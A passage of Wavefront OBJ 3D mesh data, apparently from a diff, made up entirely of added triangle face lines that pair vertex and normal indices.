+f 1913//740 1914//740 1890//740
+f 1914//739 1915//739 1891//739
+f 1915//738 1916//738 1892//738
+f 1916//737 1917//737 1893//737
+f 1917//736 1918//736 1894//736
+f 1894//735 1918//735 1919//735
+f 1919//734 1920//734 1896//734
+f 1896//733 1920//733 1897//733
+f 1921//756 1922//756 1898//756
+f 1898//755 1922//755 1923//755
+f 1923//754 1924//754 1900//754
+f 1924//753 1925//753 1901//753
+f 1925//752 1926//752 1902//752
+f 1926//751 1927//751 1903//751
+f 1927//750 1928//750 1904//750
+f 1904//1177 1928//1177 1929//1177
+f 1929//748 1930//748 1906//748
+f 1906//747 1930//747 1931//747
+f 1931//746 1932//746 1908//746
+f 1908//745 1932//745 1933//745
+f 1933//768 1934//768 1910//768
+f 1910//767 1934//767 1935//767
+f 1935//766 1936//766 1912//766
+f 1912//765 1936//765 1937//765
+f 1937//1178 1938//1178 1914//1178
+f 1914//763 1938//763 1939//763
+f 1915//762 1939//762 1940//762
+f 1940//761 1941//761 1917//761
+f 1917//760 1941//760 1942//760
+f 1918//759 1942//759 1943//759
+f 1943//758 1944//758 1920//758
+f 1920//757 1944//757 1921//757
+f 1921//780 1945//780 1946//780
+f 1922//779 1946//779 1947//779
+f 1923//1179 1947//1179 1948//1179
+f 1924//777 1948//777 1949//777
+f 1949//776 1950//776 1926//776
+f 1926//775 1950//775 1951//775
+f 1927//774 1951//774 1952//774
+f 1952//773 1953//773 1929//773
+f 1929//772 1953//772 1954//772
+f 1930//771 1954//771 1955//771
+f 1955//770 1956//770 1932//770
+f 1932//769 1956//769 1957//769
+f 1957//792 1958//792 1934//792
+f 1934//791 1958//791 1959//791
+f 1959//790 1960//790 1936//790
+f 1960//789 1961//789 1937//789
+f 1961//788 1962//788 1938//788
+f 1962//787 1963//787 1939//787
+f 1963//786 1964//786 1940//786
+f 1940//785 1964//785 1965//785
+f 1965//784 1966//784 1942//784
+f 1966//1180 1967//1180 1943//1180
+f 1967//782 1968//782 1944//782
+f 1968//781 1945//781 1921//781
+f 1969//804 1970//804 1946//804
+f 1946//803 1970//803 1971//803
+f 1971//802 1972//802 1948//802
+f 1948//801 1972//801 1973//801
+f 1973//800 1974//800 1950//800
+f 1974//799 1975//799 1951//799
+f 1951//798 1975//798 1976//798
+f 1952//797 1976//797 1977//797
+f 1977//796 1978//796 1954//796
+f 1954//795 1978//795 1979//795
+f 1979//794 1980//794 1956//794
+f 1980//793 1981//793 1957//793
+f 1957//816 1981//816 1982//816
+f 1958//815 1982//815 1983//815
+f 1983//814 1984//814 1960//814
+f 1984//813 1985//813 1961//813
+f 1985//812 1986//812 1962//812
+f 1986//811 1987//811 1963//811
+f 1963//810 1987//810 1988//810
+f 1988//809 1989//809 1965//809
+f 1989//808 1990//808 1966//808
+f 1966//807 1990//807 1991//807
+f 1991//806 1992//806 1968//806
+f 1968//805 1992//805 1969//805
+f 1993//828 1994//828 1970//828
+f 1970//1181 1994//1181 1995//1181
+f 1995//826 1996//826 1972//826
+f 1996//825 1997//825 1973//825
+f 1973//824 1997//824 1998//824
+f 1974//823 1998//823 1999//823
+f 1999//822 2000//822 1976//822
+f 2000//821 2001//821 1977//821
+f 2001//820 2002//820 1978//820
+f 2002//819 2003//819 1979//819
+f 2003//818 2004//818 1980//818
+f 2004//817 2005//817 1981//817
+f 1981//840 2005//840 2006//840
+f 1982//839 2006//839 2007//839
+f 1983//838 2007//838 2008//838
+f 1984//837 2008//837 2009//837
+f 2009//836 2010//836 1986//836
+f 1986//835 2010//835 2011//835
+f 2011//834 2012//834 1988//834
+f 2012//833 2013//833 1989//833
+f 1989//832 2013//832 2014//832
+f 1990//831 2014//831 2015//831
+f 2015//1182 2016//1182 1992//1182
+f 2016//829 1993//829 1969//829
+f 2017//1183 2018//1183 1994//1183
+f 1994//851 2018//851 2019//851
+f 2019//850 2020//850 1996//850
+f 1996//849 2020//849 2021//849
+f 2021//848 2022//848 1998//848
+f 1998//847 2022//847 2023//847
+f 1999//846 2023//846 2024//846
+f 2000//845 2024//845 2025//845
+f 2001//844 2025//844 2026//844
+f 2026//843 2027//843 2003//843
+f 2003//842 2027//842 2028//842
+f 2028//841 2029//841 2005//841
+f 2005//1184 2029//1184 2030//1184
+f 2030//863 2031//863 2007//863
+f 2031//862 2032//862 2008//862
+f 2032//861 2033//861 2009//861
+f 2033//860 2034//860 2010//860
+f 2034//859 2035//859 2011//859
+f 2011//858 2035//858 2036//858
+f 2012//857 2036//857 2037//857
+f 2037//856 2038//856 2014//856
+f 2014//855 2038//855 2039//855
+f 2039//854 2040//854 2016//854
+f 2040//853 2017//853 1993//853
+f 2041//876 2042//876 2018//876
+f 2018//875 2042//875 2043//875
+f 2043//874 2044//874 2020//874
+f 2020//873 2044//873 2045//873
+f 2045//872 2046//872 2022//872
+f 2046//871 2047//871 2023//871
+f 2023//870 2047//870 2048//870
+f 2024//869 2048//869 2049//869
+f 2049//868 2050//868 2026//868
+f 2050//867 2051//867 2027//867
+f 2027//866 2051//866 2052//866
+f 2052//865 2053//865 2029//865
+f 2029//888 2053//888 2054//888
+f 2054//887 2055//887 2031//887
+f 2031//886 2055//886 2056//886
+f 2056//885 2057//885 2033//885
+f 2057//884 2058//884 2034//884
+f 2034//883 2058//883 2059//883
+f 2059//882 2060//882 2036//882
+f 2036//881 2060//881 2061//881
+f 2061//880 2062//880 2038//880
+f 2038//879 2062//879 2063//879
+f 2063//878 2064//878 2040//878
+f 2040//877 2064//877 2041//877
+f 2065//900 2066//900 2042//900
+f 2042//1185 2066//1185 2067//1185
+f 2067//898 2068//898 2044//898
+f 2068//897 2069//897 2045//897
+f 2045//896 2069//896 2070//896
+f 2070//895 2071//895 2047//895
+f 2071//894 2072//894 2048//894
+f 2048//893 2072//893 2073//893
+f 2073//892 2074//892 2050//892
+f 2050//891 2074//891 2075//891
+f 2075//890 2076//890 2052//890
+f 2076//889 2077//889 2053//889
+f 2053//912 2077//912 2078//912
+f 2054//911 2078//911 2079//911
+f 2079//910 2080//910 2056//910
+f 2056//909 2080//909 2081//909
+f 2081//908 2082//908 2058//908
+f 2058//907 2082//907 2083//907
+f 2059//906 2083//906 2084//906
+f 2084//905 2085//905 2061//905
+f 2085//904 2086//904 2062//904
+f 2062//903 2086//903 2087//903
+f 2087//902 2088//902 2064//902
+f 2088//901 2065//901 2041//901
+f 2089//924 2090//924 2066//924
+f 2066//923 2090//923 2091//923
+f 2091//922 2092//922 2068//922
+f 2068//921 2092//921 2093//921
+f 2069//920 2093//920 2094//920
+f 2070//919 2094//919 2095//919
+f 2095//918 2096//918 2072//918
+f 2096//917 2097//917 2073//917
+f 2097//916 2098//916 2074//916
+f 2098//915 2099//915 2075//915
+f 2075//914 2099//914 2100//914
+f 2100//913 2101//913 2077//913
+f 2101//936 2102//936 2078//936
+f 2102//935 2103//935 2079//935
+f 2079//934 2103//934 2104//934
+f 2080//933 2104//933 2105//933
+f 2081//932 2105//932 2106//932
+f 2082//931 2106//931 2107//931
+f 2107//930 2108//930 2084//930
+f 2108//929 2109//929 2085//929
+f 2109//928 2110//928 2086//928
+f 2086//927 2110//927 2111//927
+f 2111//926 2112//926 2088//926
+f 2088//925 2112//925 2089//925
+f 2089//948 2113//948 2114//948
+f 2090//947 2114//947 2115//947
+f 2115//1186 2116//1186 2092//1186
+f 2116//945 2117//945 2093//945
+f 2117//944 2118//944 2094//944
+f 2118//943 2119//943 2095//943
+f 2119//942 2120//942 2096//942
+f 2120//941 2121//941 2097//941
+f 2097//940 2121//940 2122//940
+f 2098//1187 2122//1187 2123//1187
+f 2099//938 2123//938 2124//938
+f 2124//937 2125//937 2101//937
+f 2101//960 2125//960 2126//960
+f 2126//959 2127//959 2103//959
+f 2127//958 2128//958 2104//958
+f 2128//957 2129//957 2105//957
+f 2105//956 2129//956 2130//956
+f 2106//955 2130//955 2131//955
+f 2107//954 2131//954 2132//954
+f 2108//953 2132//953 2133//953
+f 2109//952 2133//952 2134//952
+f 2110//1188 2134//1188 2135//1188
+f 2135//950 2136//950 2112//950
+f 2136//949 2113//949 2089//949
+f 2113//972 2137//972 2138//972
+f 2138//971 2139//971 2115//971
+f 2115//970 2139//970 2140//970
+f 2116//969 2140//969 2141//969
+f 2141//968 2142//968 2118//968
+f 2142//967 2143//967 2119//967
+f 2119//966 2143//966 2144//966
+f 2144//965 2145//965 2121//965
+f 2145//964 2146//964 2122//964
+f 2146//963 2147//963 2123//963
+f 2147//962 2148//962 2124//962
+f 2124//961 2148//961 2149//961
+f 2149//984 2150//984 2126//984
+f 2150//983 2151//983 2127//983
+f 2127//982 2151//982 2152//982
+f 2128//981 2152//981 2153//981
+f 2129//980 2153//980 2154//980
+f 2154//979 2155//979 2131//979
+f 2131//978 2155//978 2156//978
+f 2156//1189 2157//1189 2133//1189
+f 2157//976 2158//976 2134//976
+f 2158//975 2159//975 2135//975
+f 2159//974 2160//974 2136//974
+f 2160//973 2137//973 2113//973
+f 2137//996 2161//996 2162//996
+f 2162//995 2163//995 2139//995
+f 2163//994 2164//994 2140//994
+f 2164//993 2165//993 2141//993
+f 2165//992 2166//992 2142//992
+f 2166//991 2167//991 2143//991
+f 2167//990 2168//990 2144//990
+f 2168//989 2169//989 2145//989
+f 2145//988 2169//988 2170//988
+f 2170//987 2171//987 2147//987
+f 2147//986 2171//986 2172//986
+f 2148//985 2172//985 2173//985
+f 2173//1008 2174//1008 2150//1008
+f 2174//1007 2175//1007 2151//1007
+f 2151//1006 2175//1006 2176//1006
+f 2176//1005 2177//1005 2153//1005
+f 2153//1004 2177//1004 2178//1004
+f 2154//1003 2178//1003 2179//1003
+f 2155//1002 2179//1002 2180//1002
+f 2180//1001 2181//1001 2157//1001
+f 2157//1000 2181//1000 2182//1000
+f 2182//999 2183//999 2159//999
+f 2159//998 2183//998 2184//998
+f 2184//997 2161//997 2137//997
+f 2161//1020 2185//1020 2186//1020
+f 2186//1019 2187//1019 2163//1019
+f 2163//1190 2187//1190 2188//1190
+f 2188//1017 2189//1017 2165//1017
+f 2165//1016 2189//1016 2190//1016
+f 2166//1015 2190//1015 2191//1015
+f 2167//1014 2191//1014 2192//1014
+f 2168//1013 2192//1013 2193//1013
+f 2169//1012 2193//1012 2194//1012
+f 2194//1191 2195//1191 2171//1191
+f 2195//1010 2196//1010 2172//1010
+f 2196//1009 2197//1009 2173//1009
+f 2173//1032 2197//1032 2198//1032
+f 2198//1031 2199//1031 2175//1031
+f 2199//1192 2200//1192 2176//1192
+f 2200//1029 2201//1029 2177//1029
+f 2201//1028 2202//1028 2178//1028
+f 2202//1027 2203//1027 2179//1027
+f 2203//1026 2204//1026 2180//1026
+f 2204//1025 2205//1025 2181//1025
+f 2205//1024 2206//1024 2182//1024
+f 2206//1193 2207//1193 2183//1193
+f 2183//1022 2207//1022 2208//1022
+f 2208//1021 2185//1021 2161//1021
+f 2185//1044 2209//1044 2210//1044
+f 2210//1043 2211//1043 2187//1043
+f 2211//1042 2212//1042 2188//1042
+f 2212//1041 2213//1041 2189//1041
+f 2213//1040 2214//1040 2190//1040
+f 2214//1039 2215//1039 2191//1039
+f 2215//1038 2216//1038 2192//1038
+f 2192//1037 2216//1037 2217//1037
+f 2193//1036 2217//1036 2218//1036
+f 2218//1035 2219//1035 2195//1035
+f 2195//1034 2219//1034 2220//1034
+f 2220//1033 2221//1033 2197//1033
+f 2197//1056 2221//1056 2222//1056
+f 2222//1055 2223//1055 2199//1055
+f 2199//1054 2223//1054 2224//1054
+f 2224//1053 2225//1053 2201//1053
+f 2201//1052 2225//1052 2226//1052
+f 2202//1051 2226//1051 2227//1051
+f 2203//1050 2227//1050 2228//1050
+f 2204//1049 2228//1049 2229//1049
+f 2229//1048 2230//1048 2206//1048
+f 2206//1047 2230//1047 2231//1047
+f 2207//1046 2231//1046 2232//1046
+f 2232//1045 2209//1045 2185//1045
+f 2209//1068 2233//1068 2234//1068
+f 2210//1067 2234//1067 2235//1067
+f 2235//1066 2236//1066 2212//1066
+f 2212//1065 2236//1065 2237//1065
+f 2237//1064 2238//1064 2214//1064
+f 2238//1063 2239//1063 2215//1063
+f 2239//1062 2240//1062 2216//1062
+f 2240//1061 2241//1061 2217//1061
+f 2241//1060 2242//1060 2218//1060
+f 2242//1059 2243//1059 2219//1059
+f 2243//1058 2244//1058 2220//1058
+f 2244//1057 2245//1057 2221//1057
+f 2245//1080 2246//1080 2222//1080
+f 2222//1079 2246//1079 2247//1079
+f 2223//1078 2247//1078 2248//1078
+f 2248//1077 2249//1077 2225//1077
+f 2225//1076 2249//1076 2250//1076
+f 2250//1075 2251//1075 2227//1075
+f 2227//1074 2251//1074 2252//1074
+f 2228//1073 2252//1073 2253//1073
+f 2229//1072 2253//1072 2254//1072
+f 2230//1071 2254//1071 2255//1071
+f 2255//1070 2256//1070 2232//1070
+f 2256//1069 2233//1069 2209//1069
+f 2257//1092 2258//1092 2234//1092
+f 2258//1091 2259//1091 2235//1091
+f 2235//1090 2259//1090 2260//1090
+f 2236//1089 2260//1089 2261//1089
+f 2237//1088 2261//1088 2262//1088
+f 2238//1087 2262//1087 2263//1087
+f 2263//1086 2264//1086 2240//1086
+f 2240//1085 2264//1085 2265//1085
+f 2241//1084 2265//1084 2266//1084
+f 2266//1083 2267//1083 2243//1083
+f 2267//1082 2268//1082 2244//1082
+f 2244//1081 2268//1081 2269//1081
+f 2269//1104 2270//1104 2246//1104
+f 2270//1103 2271//1103 2247//1103
+f 2271//1102 2272//1102 2248//1102
+f 2248//1101 2272//1101 2273//1101
+f 2273//1100 2274//1100 2250//1100
+f 2250//1099 2274//1099 2275//1099
+f 2275//1098 2276//1098 2252//1098
+f 2276//1097 2277//1097 2253//1097
+f 2277//1096 2278//1096 2254//1096
+f 2278//1095 2279//1095 2255//1095
+f 2255//1094 2279//1094 2280//1094
+f 2256//1093 2280//1093 2257//1093
+f 2257//1116 2281//1116 2282//1116
+f 2282//1115 2283//1115 2259//1115
+f 2283//1114 2284//1114 2260//1114
+f 2284//1113 2285//1113 2261//1113
+f 2285//1112 2286//1112 2262//1112
+f 2286//1111 2287//1111 2263//1111
+f 2287//1110 2288//1110 2264//1110
+f 2288//1109 2289//1109 2265//1109
+f 2289//1108 2290//1108 2266//1108
+f 2290//1107 2291//1107 2267//1107
+f 2291//1106 2292//1106 2268//1106
+f 2292//1105 2293//1105 2269//1105
+f 2269//1128 2293//1128 2294//1128
+f 2270//1127 2294//1127 2295//1127
+f 2271//1126 2295//1126 2296//1126
+f 2272//1125 2296//1125 2297//1125
+f 2273//1124 2297//1124 2298//1124
+f 2274//1123 2298//1123 2299//1123
+f 2275//1122 2299//1122 2300//1122
+f 2276//1121 2300//1121 2301//1121
+f 2277//1120 2301//1120 2302//1120
+f 2302//1119 2303//1119 2279//1119
+f 2279//1118 2303//1118 2304//1118
+f 2304//1117 2281//1117 2257//1117
+f 1//1140 2//1140 2282//1140
+f 2//1139 3//1139 2283//1139
+f 3//1138 4//1138 2284//1138
+f 4//1137 5//1137 2285//1137
+f 5//1136 6//1136 2286//1136
+f 6//1135 7//1135 2287//1135
+f 2287//1134 7//1134 8//1134
+f 8//1133 9//1133 2289//1133
+f 9//1132 10//1132 2290//1132
+f 2290//1131 10//1131 11//1131
+f 2291//1130 11//1130 12//1130
+f 2292//1129 12//1129 13//1129
+f 13//1152 14//1152 2294//1152
+f 14//1151 15//1151 2295//1151
+f 15//1150 16//1150 2296//1150
+f 2296//1149 16//1149 17//1149
+f 2297//1148 17//1148 18//1148
+f 18//1147 19//1147 2299//1147
+f 19//1146 20//1146 2300//1146
+f 20//1145 21//1145 2301//1145
+f 21//1144 22//1144 2302//1144
+f 2302//1143 22//1143 23//1143
+f 23//1142 24//1142 2304//1142
+f 24//1141 1//1141 2281//1141
+f 1//1 25//1 2//1
+f 2//2 26//2 3//2
+f 4//3 3//3 28//3
+f 4//4 28//4 5//4
+f 6//5 5//5 30//5
+f 6//6 30//6 7//6
+f 7//7 31//7 8//7
+f 8//8 32//8 9//8
+f 10//9 9//9 34//9
+f 10//10 34//10 11//10
+f 11//11 35//11 12//11
+f 12//12 36//12 13//12
+f 14//13 13//13 38//13
+f 15//14 14//14 39//14
+f 15//15 39//15 16//15
+f 16//16 40//16 17//16
+f 17//17 41//17 18//17
+f 19//18 18//18 43//18
+f 20//19 19//19 44//19
+f 20//20 44//20 21//20
+f 21//21 45//21 22//21
+f 22//22 46//22 23//22
+f 24//23 23//23 48//23
+f 1//24 24//24 25//24
+f 25//25 49//25 26//25
+f 27//26 26//26 51//26
+f 28//27 27//27 52//27
+f 29//28 28//28 53//28
+f 30//29 29//29 54//29
+f 30//30 54//30 31//30
+f 32//31 31//31 56//31
+f 33//32 32//32 57//32
+f 34//33 33//33 58//33
+f 35//34 34//34 59//34
+f 36//35 35//35 60//35
+f 37//36 36//36 61//36
+f 37//37 61//37 38//37
+f 38//38 62//38 39//38
+f 39//39 63//39 40//39
+f 40//40 64//40 41//40
+f 41//41 65//41 42//41
+f 42//42 66//42 43//42
+f 43//43 67//43 44//43
+f 44//44 68//44 45//44
+f 45//45 69//45 46//45
+f 46//46 70//46 47//46
+f 47//47 71//47 48//47
+f 25//48 48//48 49//48
+f 49//49 73//49 50//49
+f 51//50 50//50 75//50
+f 51//51 75//51 52//51
+f 52//52 76//52 53//52
+f 53//53 77//53 54//53
+f 55//1154 54//1154 79//1154
+f 55//1153 79//1153 56//1153
+f 56//56 80//56 57//56
+f 57//57 81//57 58//57
+f 58//58 82//58 59//58
+f 60//59 59//59 84//59
+f 61//60 60//60 85//60
+f 61//61 85//61 62//61
+f 62//62 86//62 63//62
+f 63//63 87//63 64//63
+f 65//64 64//64 89//64
+f 65//65 89//65 66//65
+f 66//1194 90//1194 67//1194
+f 68//1195 67//1195 92//1195
+f 69//68 68//68 93//68
+f 70//69 69//69 94//69
+f 71//70 70//70 95//70
+f 71//71 95//71 72//71
+f 72//72 96//72 49//72
+f 73//73 97//73 74//73
+f 74//74 98//74 75//74
+f 76//75 75//75 100//75
+f 77//76 76//76 101//76
+f 78//77 77//77 102//77
+f 79//78 78//78 103//78
+f 80//79 79//79 104//79
+f 81//80 80//80 105//80
+f 82//81 81//81 106//81
+f 82//82 106//82 83//82
+f 84//83 83//83 108//83
+f 84//84 108//84 85//84
+f 86//85 85//85 110//85
+f 86//86 110//86 87//86
+f 88//87 87//87 112//87
+f 88//88 112//88 89//88
+f 89//89 113//89 90//89
+f 90//90 114//90 91//90
+f 91//91 115//91 92//91
+f 92//92 116//92 93//92
+f 93//93 117//93 94//93
+f 94//94 118//94 95//94
+f 96//95 95//95 120//95
+f 96//96 120//96 73//96
+f 97//97 121//97 98//97
+f 99//98 98//98 123//98
+f 99//99 123//99 100//99
+f 100//100 124//100 101//100
+f 101//101 125//101 102//101
+f 102//102 126//102 103//102
+f 103//103 127//103 104//103
+f 104//104 128//104 105//104
+f 105//105 129//105 106//105
+f 106//106 130//106 107//106
+f 107//107 131//107 108//107
+f 108//108 132//108 109//108
+f 109//109 133//109 110//109
+f 111//110 110//110 135//110
+f 112//111 111//111 136//111
+f 113//112 112//112 137//112
+f 114//113 113//113 138//113
+f 115//114 114//114 139//114
+f 116//115 115//115 140//115
+f 117//116 116//116 141//116
+f 118//117 117//117 142//117
+f 119//118 118//118 143//118
+f 119//119 143//119 120//119
+f 97//120 120//120 121//120
+f 121//121 145//121 122//121
+f 123//122 122//122 147//122
+f 124//123 123//123 148//123
+f 125//124 124//124 149//124
+f 126//125 125//125 150//125
+f 126//126 150//126 127//126
+f 128//127 127//127 152//127
+f 128//128 152//128 129//128
+f 129//129 153//129 130//129
+f 131//130 130//130 155//130
+f 131//131 155//131 132//131
+f 133//132 132//132 157//132
+f 133//133 157//133 134//133
+f 134//134 158//134 135//134
+f 135//135 159//135 136//135
+f 136//136 160//136 137//136
+f 138//137 137//137 162//137
+f 138//138 162//138 139//138
+f 139//139 163//139 140//139
+f 140//140 164//140 141//140
+f 141//141 165//141 142//141
+f 142//142 166//142 143//142
+f 143//143 167//143 144//143
+f 144//144 168//144 121//144
+f 145//145 169//145 146//145
+f 146//146 170//146 147//146
+f 148//147 147//147 172//147
+f 148//148 172//148 149//148
+f 149//149 173//149 150//149
+f 150//150 174//150 151//150
+f 151//151 175//151 152//151
+f 152//152 176//152 153//152
+f 153//153 177//153 154//153
+f 154//154 178//154 155//154
+f 155//155 179//155 156//155
+f 156//156 180//156 157//156
+f 158//157 157//157 182//157
+f 159//158 158//158 183//158
+f 160//159 159//159 184//159
+f 161//160 160//160 185//160
+f 162//161 161//161 186//161
+f 163//162 162//162 187//162
+f 163//163 187//163 164//163
+f 165//164 164//164 189//164
+f 166//165 165//165 190//165
+f 166//166 190//166 167//166
+f 168//167 167//167 192//167
+f 145//168 168//168 169//168
+f 169//169 193//169 170//169
+f 171//1155 170//1155 195//1155
+f 172//171 171//171 196//171
+f 173//172 172//172 197//172
+f 174//1196 173//1196 198//1196
+f 175//174 174//174 199//174
+f 175//175 199//175 176//175
+f 177//176 176//176 201//176
+f 177//177 201//177 178//177
+f 179//178 178//178 203//178
+f 180//179 179//179 204//179
+f 180//180 204//180 181//180
+f 182//181 181//181 206//181
+f 182//182 206//182 183//182
+f 183//183 207//183 184//183
+f 184//184 208//184 185//184
+f 185//185 209//185 186//185
+f 186//186 210//186 187//186
+f 188//187 187//187 212//187
+f 188//188 212//188 189//188
+f 189//189 213//189 190//189
+f 190//190 214//190 191//190
+f 191//191 215//191 192//191
+f 192//192 216//192 169//192
+f 193//193 217//193 194//193
+f 194//194 218//194 195//194
+f 196//1156 195//1156 220//1156
+f 196//196 220//196 197//196
+f 198//197 197//197 222//197
+f 199//198 198//198 223//198
+f 200//199 199//199 224//199
+f 200//200 224//200 201//200
+f 201//201 225//201 202//201
+f 202//202 226//202 203//202
+f 203//203 227//203 204//203
+f 205//204 204//204 229//204
+f 205//205 229//205 206//205
+f 207//206 206//206 231//206
+f 208//207 207//207 232//207
+f 209//208 208//208 233//208
+f 209//209 233//209 210//209
+f 210//210 234//210 211//210
+f 211//211 235//211 212//211
+f 212//212 236//212 213//212
+f 213//213 237//213 214//213
+f 214//1157 238//1157 215//1157
+f 216//215 215//215 240//215
+f 193//216 216//216 217//216
+f 217//217 241//217 218//217
+f 218//218 242//218 219//218
+f 220//219 219//219 244//219
+f 220//220 244//220 221//220
+f 221//221 245//221 222//221
+f 222//222 246//222 223//222
+f 224//223 223//223 248//223
+f 225//224 224//224 249//224
+f 226//225 225//225 250//225
+f 227//226 226//226 251//226
+f 228//227 227//227 252//227
+f 228//228 252//228 229//228
+f 229//229 253//229 230//229
+f 231//230 230//230 255//230
+f 231//231 255//231 232//231
+f 232//232 256//232 233//232
+f 234//233 233//233 258//233
+f 234//234 258//234 235//234
+f 236//235 235//235 260//235
+f 237//236 236//236 261//236
+f 238//237 237//237 262//237
+f 238//238 262//238 239//238
+f 240//239 239//239 264//239
+f 240//240 264//240 217//240
+f 242//241 241//241 266//241
+f 242//242 266//242 243//242
+f 243//243 267//243 244//243
+f 244//244 268//244 245//244
+f 245//245 269//245 246//245
+f 247//246 246//246 271//246
+f 247//247 271//247 248//247
+f 248//248 272//248 249//248
+f 250//249 249//249 274//249
+f 250//250 274//250 251//250
+f 251//251 275//251 252//251
+f 252//252 276//252 253//252
+f 254//253 253//253 278//253
+f 254//254 278//254 255//254
+f 256//255 255//255 280//255
+f 256//256 280//256 257//256
+f 258//257 257//257 282//257
+f 259//258 258//258 283//258
+f 259//259 283//259 260//259
+f 261//260 260//260 285//260
+f 262//261 261//261 286//261
+f 262//262 286//262 263//262
+f 263//263 287//263 264//263
+f 264//264 288//264 241//264
+f 266//265 265//265 290//265
+f 266//266 290//266 267//266
+f 268//267 267//267 292//267
+f 268//268 292//268 269//268
+f 269//269 293//269 270//269
+f 270//270 294//270 271//270
+f 271//271 295//271 272//271
+f 272//272 296//272 273//272
+f 274//273 273//273 298//273
+f 274//274 298//274 275//274
+f 275//275 299//275 276//275
+f 276//1158 300//1158 277//1158
+f 277//277 301//277 278//277
+f 279//278 278//278 303//278
+f 280//279 279//279 304//279
+f 280//280 304//280 281//280
+f 281//281 305//281 282//281
+f 283//282 282//282 307//282
+f 284//283 283//283 308//283
+f 284//284 308//284 285//284
+f 286//285 285//285 310//285
+f 286//286 310//286 287//286
+f 287//287 311//287 288//287
+f 288//288 312//288 265//288
+f 290//1197 289//1197 314//1197
+f 290//290 314//290 291//290
+f 292//291 291//291 316//291
+f 293//292 292//292 317//292
+f 294//293 293//293 318//293
+f 295//294 294//294 319//294
+f 296//295 295//295 320//295
+f 296//296 320//296 297//296
+f 297//297 321//297 298//297
+f 298//298 322//298 299//298
+f 299//299 323//299 300//299
+f 300//1198 324//1198 301//1198
+f 301//301 325//301 302//301
+f 303//302 302//302 327//302
+f 304//303 303//303 328//303
+f 304//304 328//304 305//304
+f 305//305 329//305 306//305
+f 306//306 330//306 307//306
+f 308//307 307//307 332//307
+f 308//308 332//308 309//308
+f 309//309 333//309 310//309
+f 310//310 334//310 311//310
+f 312//311 311//311 336//311
+f 312//312 336//312 289//312
+f 313//313 337//313 314//313
+f 315//314 314//314 339//314
+f 316//315 315//315 340//315
+f 316//316 340//316 317//316
+f 317//317 341//317 318//317
+f 319//318 318//318 343//318
+f 319//319 343//319 320//319
+f 320//320 344//320 321//320
+f 322//321 321//321 346//321
+f 322//322 346//322 323//322
+f 324//323 323//323 348//323
+f 324//324 348//324 325//324
+f 326//325 325//325 350//325
+f 326//326 350//326 327//326
+f 328//327 327//327 352//327
+f 328//328 352//328 329//328
+f 329//329 353//329 330//329
+f 331//330 330//330 355//330
+f 331//331 355//331 332//331
+f 333//332 332//332 357//332
+f 334//333 333//333 358//333
+f 334//334 358//334 335//334
+f 335//335 359//335 336//335
+f 313//336 336//336 337//336
+f 338//337 337//337 362//337
+f 338//338 362//338 339//338
+f 340//339 339//339 364//339
+f 340//340 364//340 341//340
+f 341//341 365//341 342//341
+f 343//342 342//342 367//342
+f 343//343 367//343 344//343
+f 344//344 368//344 345//344
+f 346//345 345//345 370//345
+f 347//346 346//346 371//346
+f 348//347 347//347 372//347
+f 348//348 372//348 349//348
+f 349//349 373//349 350//349
+f 350//350 374//350 351//350
+f 351//351 375//351 352//351
+f 352//352 376//352 353//352
+f 353//353 377//353 354//353
+f 354//354 378//354 355//354
+f 355//355 379//355 356//355
+f 356//356 380//356 357//356
+f 357//357 381//357 358//357
+f 358//358 382//358 359//358
+f 360//359 359//359 384//359
+f 337//360 360//360 361//360
+f 361//361 385//361 362//361
+f 362//362 386//362 363//362
+f 364//1167 363//1167 388//1167
+f 364//364 388//364 365//364
+f 366//365 365//365 390//365
+f 366//366 390//366 367//366
+f 367//367 391//367 368//367
+f 368//368 392//368 369//368
+f 369//369 393//369 370//369
+f 370//370 394//370 371//370
+f 372//371 371//371 396//371
+f 372//372 396//372 373//372
+f 374//373 373//373 398//373
+f 374//374 398//374 375//374
+f 376//375 375//375 400//375
+f 376//376 400//376 377//376
+f 378//377 377//377 402//377
+f 379//378 378//378 403//378
+f 380//379 379//379 404//379
+f 380//380 404//380 381//380
+f 382//381 381//381 406//381
+f 383//1199 382//1199 407//1199
+f 384//383 383//383 408//383
+f 361//384 384//384 385//384
+f 386//385 385//385 410//385
+f 386//386 410//386 387//386
+f 388//387 387//387 412//387
+f 389//388 388//388 413//388
+f 389//389 413//389 390//389
+f 391//390 390//390 415//390
+f 392//391 391//391 416//391
+f 392//1200 416//1200 393//1200
+f 394//393 393//393 418//393
+f 394//394 418//394 395//394
+f 396//395 395//395 420//395
+f 396//396 420//396 397//396
+f 397//397 421//397 398//397
+f 398//398 422//398 399//398
+f 400//399 399//399 424//399
+f 400//400 424//400 401//400
+f 402//1201 401//1201 426//1201
+f 402//402 426//402 403//402
+f 403//403 427//403 404//403
+f 404//1202 428//1202 405//1202
+f 405//405 429//405 406//405
+f 406//406 430//406 407//406
+f 408//407 407//407 432//407
+f 408//408 432//408 385//408
+f 410//409 409//409 434//409
+f 410//410 434//410 411//410
+f 412//411 411//411 436//411
+f 412//412 436//412 413//412
+f 413//413 437//413 414//413
+f 414//414 438//414 415//414
+f 415//415 439//415 416//415
+f 416//416 440//416 417//416
+f 418//417 417//417 442//417
+f 418//418 442//418 419//418
+f 419//419 443//419 420//419
+f 420//420 444//420 421//420
+f 421//421 445//421 422//421
+f 423//422 422//422 447//422
+f 424//423 423//423 448//423
+f 424//424 448//424 425//424
+f 426//425 425//425 450//425
+f 427//426 426//426 451//426
+f 428//427 427//427 452//427
+f 429//428 428//428 453//428
+f 430//429 429//429 454//429
+f 430//430 454//430 431//430
+f 432//431 431//431 456//431
+f 432//432 456//432 409//432
+f 433//433 457//433 434//433
+f 434//434 458//434 435//434
+f 436//1168 435//1168 460//1168
+f 436//436 460//436 437//436
+f 438//437 437//437 462//437
+f 438//438 462//438 439//438
+f 440//439 439//439 464//439
+f 441//440 440//440 465//440
+f 442//441 441//441 466//441
+f 443//1203 442//1203 467//1203
+f 443//443 467//443 444//443
+f 445//444 444//444 469//444
+f 445//445 469//445 446//445
+f 446//446 470//446 447//446
+f 447//1204 471//1204 448//1204
+f 448//448 472//448 449//448
+f 449//449 473//449 450//449
+f 450//450 474//450 451//450
+f 452//451 451//451 476//451
+f 452//452 476//452 453//452
+f 454//453 453//453 478//453
+f 454//1169 478//1169 455//1169
+f 455//455 479//455 456//455
+f 456//456 480//456 433//456
+f 457//457 481//457 458//457
+f 458//458 482//458 459//458
+f 459//459 483//459 460//459
+f 460//460 484//460 461//460
+f 462//461 461//461 486//461
+f 462//462 486//462 463//462
+f 463//463 487//463 464//463
+f 465//464 464//464 489//464
+f 465//465 489//465 466//465
+f 466//466 490//466 467//466
